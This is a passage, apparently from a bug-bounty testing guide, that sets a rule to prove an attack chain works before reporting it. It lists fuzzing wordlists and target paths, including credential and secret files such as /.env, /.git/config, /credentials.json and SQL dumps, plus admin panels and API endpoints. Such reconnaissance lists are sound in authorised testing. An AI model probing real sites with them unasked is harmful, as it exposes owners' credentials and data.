These are valid ONLY when combined with a chain that proves real impact:

Rule: Build the chain first, confirm it works end-to-end, THEN report. Never report A and say "could chain with B" — prove it.

WORDLISTS (Installed in ~/wordlists/)

Copy code
common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)

Built-in Paths Worth Fuzzing

bashCopy code
# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2